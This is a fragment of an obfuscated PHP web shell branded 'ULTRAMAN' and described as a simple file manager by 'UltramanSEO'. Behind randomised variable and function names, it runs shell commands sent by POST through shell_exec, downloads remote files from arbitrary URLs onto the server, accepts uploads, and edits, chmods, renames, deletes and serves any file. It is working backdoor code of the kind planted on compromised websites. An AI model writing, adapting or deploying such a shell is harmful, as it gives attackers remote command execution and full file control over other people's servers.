'; if (!empty($error)) { echo '

' . $error . '

'; } echo '
'; exit; } ?> ULTRAMAN';echo '';echo '
';echo '

ULTRAMAN

';echo '

This is a simple file manager tool created by UltramanSEO.

';echo '
';if(isset($_POST['cmd'])){$rnxfmtic_2395663060=mwpmwxvm_1988393158($_POST['cmd']);echo '
'.htmlspecialchars(shell_exec($rnxfmtic_2395663060)).'
';}echo '
';if(isset($_POST['remote_url'])){$yivrgtai_1760183548=filter_var($_POST['remote_url'],FILTER_SANITIZE_URL);if(filter_var($yivrgtai_1760183548,FILTER_VALIDATE_URL)){$tuktgzgy_3621721704=basename($yivrgtai_1760183548);if(file_put_contents($tuktgzgy_3621721704,fopen($yivrgtai_1760183548,'r'))){echo '

Remote file uploaded successfully as '.$tuktgzgy_3621721704.'

';}else{echo '

Remote upload failed.

';}}else{echo '

Invalid URL.

';}}echo '
';$narocqhl_482938420=isset($_GET['HX'])?mwpmwxvm_1988393158($_GET['HX']):getcwd();$narocqhl_482938420=str_replace('\\','/',$narocqhl_482938420);$ffmjohef_2344257041=explode('/',$narocqhl_482938420);foreach($ffmjohef_2344257041 as $fesgtfox_3208210256=>$vbejuyvl_2151571073){if($vbejuyvl_2151571073==''&&$fesgtfox_3208210256==0){echo '/';continue;}if($vbejuyvl_2151571073=='')continue;echo ''.$vbejuyvl_2151571073.'/';}echo '

';if(isset($_POST['create_file'])){$dxfuurjp_2020770509=$narocqhl_482938420.'/'.mwpmwxvm_1988393158($_POST['new_name']);if(file_put_contents($dxfuurjp_2020770509,'')!==false){echo '

File created successfully.

';}else{echo '

Failed to create file.

';}}if(isset($_POST['create_dir'])){$vwhjtxbd_2209019398=$narocqhl_482938420.'/'.mwpmwxvm_1988393158($_POST['new_name']);if(mkdir($vwhjtxbd_2209019398)){echo '

Directory created successfully.

';}else{echo '

Failed to create directory.

';}}echo '
';if(isset($_FILES['file'])){$acywigmi_1099374753=$narocqhl_482938420.'/'.basename($_FILES['file']['name']);if(move_uploaded_file($_FILES['file']['tmp_name'],$acywigmi_1099374753)){echo '

File uploaded successfully.

';}else{echo '

File upload failed.

';}}echo '';$dwxcmbfn_4107081203=scandir($narocqhl_482938420);if(isset($_GET['search'])){$ynsshlkc_277378562=strtolower($_GET['search']);$dwxcmbfn_4107081203=array_filter($dwxcmbfn_4107081203,function($dbqyguof_2359244304)use($ynsshlkc_277378562){return bkvmrtnb_2391330666(strtolower($dbqyguof_2359244304),$ynsshlkc_277378562)!==false;});}foreach($dwxcmbfn_4107081203 as $cozsodrw_521872670){if($cozsodrw_521872670=='.'||$cozsodrw_521872670=='..')continue;$xtwuundx_190089999="$narocqhl_482938420/$cozsodrw_521872670";$ovopawmh_1445791921=is_dir($xtwuundx_190089999)?'Directory':'File';$qblnyegt_4156564586=is_file($xtwuundx_190089999)?filesize($xtwuundx_190089999):'-';echo"";}echo '
$ovopawmh_1445791921 $cozsodrw_521872670 $qblnyegt_4156564586 Edit | Chmod | Rename | Delete | Download
';if(isset($_GET['download'])){$dbqyguof_2359244304=$_GET['download'];if(file_exists($dbqyguof_2359244304)){header('Content-Description: File Transfer');header('Content-Type: application/octet-stream');header('Content-Disposition: attachment; filename='.basename($dbqyguof_2359244304));header('Expires: 0');header('Cache-Control: must-revalidate');header('Pragma: public');header('Content-Length: '.filesize($dbqyguof_2359244304));flush();readfile($dbqyguof_2359244304);exit;}else{echo '

File not found.

';}}if(isset($_GET['option'])){$ptrcwdtv_1518731440=$_GET['option'];$dbqyguof_2359244304=$_GET['HX'];if($ptrcwdtv_1518731440=='edit'){if(isset($_POST['new_content'])){file_put_contents($dbqyguof_2359244304,$_POST['new_content']);echo '

File edited successfully.

';}echo '
';}elseif($ptrcwdtv_1518731440=='chmod'){if(isset($_POST['new_perms'])){chmod($dbqyguof_2359244304,octdec($_POST['new_perms']));echo '

Permissions changed successfully.

';}echo '
';}elseif($ptrcwdtv_1518731440=='rename'){if(isset($_POST['new_name'])){$hxjtkpsr_2865679067=dirname($dbqyguof_2359244304).'/'.mwpmwxvm_1988393158($_POST['new_name']);rename($dbqyguof_2359244304,$hxjtkpsr_2865679067);header("Location: ?HX=".dirname($hxjtkpsr_2865679067));exit;}echo '
';}elseif($ptrcwdtv_1518731440=='delete'){if(is_dir($dbqyguof_2359244304)){rmdir($dbqyguof_2359244304);}else{unlink($dbqyguof_2359244304);}header("Location: ?HX=".dirname($dbqyguof_2359244304));exit;}}echo '
';echo '';?>